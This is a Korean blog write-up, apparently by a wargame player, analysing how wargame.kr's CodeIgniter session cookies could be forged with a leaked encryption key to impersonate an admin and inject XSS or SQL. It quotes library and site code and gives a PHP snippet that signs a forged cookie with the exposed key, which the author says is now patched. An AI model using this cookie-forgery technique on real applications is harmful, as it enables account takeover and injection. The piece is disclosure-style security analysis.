wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.
예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,
이건 xss는 물론이고 sql injection까지 가능한 취약점이다.
왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)
먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.
아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.
function set_userdata($newdata = array(), $newval = '')
{
if (is_string($newdata))
{
$newdata = array($newdata => $newval);
}
if (count($newdata) > 0)
{
foreach ($newdata as $key => $val)
{
$this->userdata[$key] = $val;
}
}
$this->sess_write();
}
function set_userdata($newdata = array(), $newval = '')
{
if (is_string($newdata))
{
$newdata = array($newdata => $newval);
}
if (count($newdata) > 0)
{
foreach ($newdata as $key => $val)
{
$this->userdata[$key] = $val;
}
}
$this->sess_write();
}
function sess_write()
{
// Are we saving custom data to the DB? If not, all we do is update the cookie
if ($this->sess_use_database === FALSE)
{
$this->_set_cookie();
return;
}
// set the custom userdata, the session data we will set in a second
$custom_userdata = $this->userdata;
$cookie_userdata = array();
// Before continuing, we need to determine if there is any custom data to deal with.
// Let's determine this by removing the default indexes to see if there's anything left in the array
// and set the session data while we're at it
foreach (array('session_id','ip_address','user_agent','last_activity') as $val)
{
unset($custom_userdata[$val]);
$cookie_userdata[$val] = $this->userdata[$val];
}
// Did we find any custom data? If not, we turn the empty array into a string
// since there's no reason to serialize and store an empty array in the DB
if (count($custom_userdata) === 0)
{
$custom_userdata = '';
}
else
{
// Serialize the custom data array so we can store it
$custom_userdata = $this->_serialize($custom_userdata);
}
// Run the update query
$this->CI->db->where('session_id', $this->userdata['session_id']);
$this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata));
// Write the cookie. Notice that we manually pass the cookie data array to the
// _set_cookie() function. Normally that function will store $this->userdata, but
// in this case that array contains custom data, which we do not want in the cookie.
$this->_set_cookie($cookie_userdata);
}
function _set_cookie($cookie_data = NULL)
{
if (is_null($cookie_data))
{
$cookie_data = $this->userdata;
}
// Serialize the userdata for the cookie
$cookie_data = $this->_serialize($cookie_data);
if ($this->sess_encrypt_cookie == TRUE)
{
$cookie_data = $this->CI->encrypt->encode($cookie_data);
}
// $this->encryption_key = Th1s1sEncrypt10nkey
$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);
$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();
// Set the cookie
setcookie(
$this->sess_cookie_name,
$cookie_data,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
호출 순서는
set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.
먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고
sess_write함수를 호출해준다.
sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를
호출해준다.
마지막의 _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.
sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.
보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,
config.php에 있으니까 참조하길 바란다.
그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.
여기까지는 아무 문제 없다고 생각은 하지만
정작 wargame.kr소스코드를 보게 되면
[ wargamekr_helper.php ]
function is_admin(){
$admin_list = ['bughela'];
$CI = &get_instance();
if (!is_logged_in()) return false;
if (!in_array($CI->session->userdata('name'), $admin_list)) return false;
return true;
}
[ main_model.php ]
function chat($chat = ''){
$chat = trim($chat);
if ($chat == '') return false;
if (!is_logged_in()) return false;
$name = $this->session->userdata('name');
$chat = [
'name' => $name,
'chat' => $chat,
'reg_date' => date('Y-m-d H:i:s', time()),
'reg_ip' => $this->input->ip_address()
];
$this->db->insert('chat_log', $chat);
$result = $this->db
->where('name', $name)
->from('chat_log')
->count_all_results();
if ($result > 100){
$this->load->model("achievement_model", "achievement");
$this->achievement->take("chatterbox");
}
}
[ board_model.php ]
function write($input){
if (!is_logged_in()) return false;
$data = [
'title' => htmlspecialchars($input['title']),
'secret' => $input['secret'],
'contents' => htmlspecialchars($input['contents']),
'writer' => $this->session->userdata('name'),
'reg_date' => date('Y-m-d H:i:s', time()),
'reg_ip' => $this->input->ip_address()
];
$result = $this->db->insert('board', $data);
$name = $this->session->userdata('name');
$result = $this->db
->where('writer', $name)
->from('board')
->count_all_results();
if ($result == 10) {
$this->achievement->take("BBS mania");
}
}
[ board_model.php ]
function write_reply($contents, $idx = 0){
if (!is_logged_in()) return false;
$contents = trim($contents);
if ($contents == "") return false;
$idx = intval($idx);
$result = $this->db
->select('idx')
->where('secret', 0)
->or_where('writer', $this->session->userdata('name'))
->where('idx', $idx)
->get('board');
if ($result->row()->idx != 1) return false;
$data = [
'contents' => htmlspecialchars($contents),
'pidx' => $idx,
'writer' => $this->session->userdata('name'),
'reg_date' => date("Y-m-d H:i:s"),
'reg_ip' => $this->input->ip_address()
];
$this->db->insert('board_reply', $data);
$name = $this->session->userdata('name');
$result = $this->db
->where('writer', $name)
->from('board_reply')
->count_all_results();
if ($result == 50) {
//$this->achievement->take($name, "");
}
}
등등의 함수들에서 xss 및 sql injection이 성공한다.
아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.
$arr = array(
"session_id" => md5("hoho"),
"ip_address" => "127.0.0.1",
"user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
"last_activity" => time(),
"user_data" => null,
"name" => "KuroNeko",
"email" => "nyanpasu@naver.com",
"lang" => "kor",
"achievement" => "sewer brew",
"point" => 99999
);
$ser_arr = serialize($arr);
$encryption_key = "Th1s1sEncrypt10nkey";
$ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key);
echo urlencode($ser_arr);
아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.
'Write up > Wargame' 카테고리의 다른 글
| [PlayTheWeb] writeup (0) | 2019.09.16 |
|---|---|
| LFH 문제 분석한 거 (0) | 2016.12.13 |
| [Wargame.kr] Admin 계정 탈취 인증샷 (0) | 2016.10.02 |
| [Wargame.kr] All Clear (0) | 2016.09.13 |
| [Wargame.kr] zairo (0) | 2016.09.08 |